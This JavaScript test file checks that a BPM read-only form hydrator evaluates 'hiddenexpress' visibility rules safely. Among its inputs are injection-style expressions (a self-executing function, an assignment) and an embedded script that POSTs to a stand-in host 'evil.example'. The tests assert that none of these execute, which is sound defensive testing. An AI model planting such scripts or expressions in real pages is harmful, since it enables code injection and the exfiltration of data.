Files
order-notification-automation/tests/bpm-hiddenexpress.test.cjs
T

37 lines
4.6 KiB
JavaScript

'use strict';
const test=require('node:test');const assert=require('node:assert/strict');
const {loadPlaywright,browserOptions}=require('../src/runtime.cjs');
const {hydrateReadonlyDocument}=require('../src/bpm-readonly-form.cjs');
async function fixture(t){const browser=await loadPlaywright().chromium.launch(browserOptions());t.after(()=>browser.close());const context=await browser.newContext({javaScriptEnabled:false}),page=await context.newPage(),requests=[];await context.route('**/*',route=>{requests.push(route.request().url());return route.abort();});return {page,requests,hydrate:async(html,rows=[{GoTheWayGoods:'CBU',Flag:'1'}],fieldsOnly=false)=>{await page.setContent(html);return page.evaluate(hydrateReadonlyDocument,{tables:[{FormTable:true,TableName:'OFR_WY_BInfo',Rows:rows}],fieldsOnly});}};}
const known='<input xdatabind="OFR_WY_BInfo.GoTheWayGoods">';
const missingRadios='<input type="radio" value="yes" xdatabind="OFR_WY_BInfo.SubsidiaryDelivery1"><input type="radio" value="no" xdatabind="OFR_WY_BInfo.SubsidiaryDelivery1"><input type="radio" value="yes" xdatabind="OFR_WY_BInfo.SubsidiaryDelivery2"><input type="radio" value="no" xdatabind="OFR_WY_BInfo.SubsidiaryDelivery2">';
test('literal hiddenexpress 1 removes client-only missing bindings before snapshot hydration',{timeout:30000},async t=>{
const {hydrate}=await fixture(t),result=await hydrate('<form>'+known+'<div hiddenexpress="1"><input xdatabind="ZhuanLiOkVal"><input xdatabind="OFR_WY_BInfo.OverseasArea1">CLIENT ONLY</div></form>');assert.equal(result.blocker,undefined);assert.match(result.snapshot.html,/CBU/);assert.doesNotMatch(result.snapshot.html,/CLIENT ONLY|ZhuanLiOkVal|OverseasArea1/);
});
test('CBU hides CKD-only missing radios but CKD exposes and blocks them',{timeout:30000},async t=>{
const {hydrate}=await fixture(t),html='<form>'+known+'<div hiddenexpress=\'OFR_WY_BInfo.GoTheWayGoods!="CKD"\'>'+missingRadios+'CKD ONLY</div></form>';
const cbu=await hydrate(html);assert.equal(cbu.blocker,undefined);assert.doesNotMatch(cbu.snapshot.html,/CKD ONLY|SubsidiaryDelivery/);const ckd=await hydrate(html,[{GoTheWayGoods:'CKD'}]);assert.ok(ckd.blocker);
});
test('unknown fields or executable expressions cannot conceal unresolved business bindings',{timeout:30000},async t=>{
const {hydrate,page}=await fixture(t);
for(const expression of ['OFR_WY_BInfo.Unknown != "CKD"','Global.StepName == "订单专员"','(()=>{globalThis.HIDDEN_EXECUTED=true;return true})()','Math.random()','OFR_WY_BInfo.Flag = 1','OFR_WY_BInfo["Flag"] == 1']){const html='<form>'+known+'<div hiddenexpress="'+expression.replaceAll('"','&quot;')+'">'+missingRadios+'</div></form>',result=await hydrate(html);assert.ok(result.blocker,expression);}
assert.equal(await page.evaluate(()=>globalThis.HIDDEN_EXECUTED),undefined);
});
test('declarative predicates support boolean literals precedence parentheses and scalar comparison semantics',{timeout:30000},async t=>{
const {hydrate}=await fixture(t);
for(const expression of ['true','1','(OFR_WY_BInfo.Flag == 1 && OFR_WY_BInfo.GoTheWayGoods != "CKD") || false','OFR_WY_BInfo.Flag === "1"','false || (true && (OFR_WY_BInfo.Flag !== 1))']){const result=await hydrate('<form>'+known+'<div hiddenexpress="'+expression.replaceAll('"','&quot;')+'">'+missingRadios+'</div></form>');assert.equal(result.blocker,undefined,expression);}
for(const expression of ['false','0','OFR_WY_BInfo.Flag === 1','true && false || false'])assert.ok((await hydrate('<form>'+known+'<div hiddenexpress="'+expression.replaceAll('"','&quot;')+'">'+missingRadios+'</div></form>')).blocker,expression);
});
test('unsupported visibility stays visible with a warning when all fields are explicitly available',{timeout:30000},async t=>{
const {hydrate}=await fixture(t),result=await hydrate('<form><div hiddenexpress="Global.Unknown == true">'+known+'VISIBLE FALLBACK</div></form>');assert.equal(result.blocker,undefined);assert.match(result.snapshot.html,/VISIBLE FALLBACK/);assert.ok(result.snapshot.warnings?.length);
});
test('hidden expressions cannot trigger scripts remote requests or affect fieldsOnly mode',{timeout:30000},async t=>{
const {hydrate,page,requests}=await fixture(t),html='<form>'+known+'<div hiddenexpress="1">'+missingRadios+'</div><script>globalThis.PAGE_EXECUTED=true;fetch("https://evil.example/action",{method:"POST"})</script></form>',result=await hydrate(html);assert.equal(result.blocker,undefined);assert.equal(await page.evaluate(()=>globalThis.PAGE_EXECUTED),undefined);assert.deepEqual(requests,[]);const fields=await hydrate('<form><div hiddenexpress="unsupported()">'+missingRadios+'</div></form>',undefined,true);assert.equal(fields.snapshot,null);assert.equal(fields.blocker,undefined);
});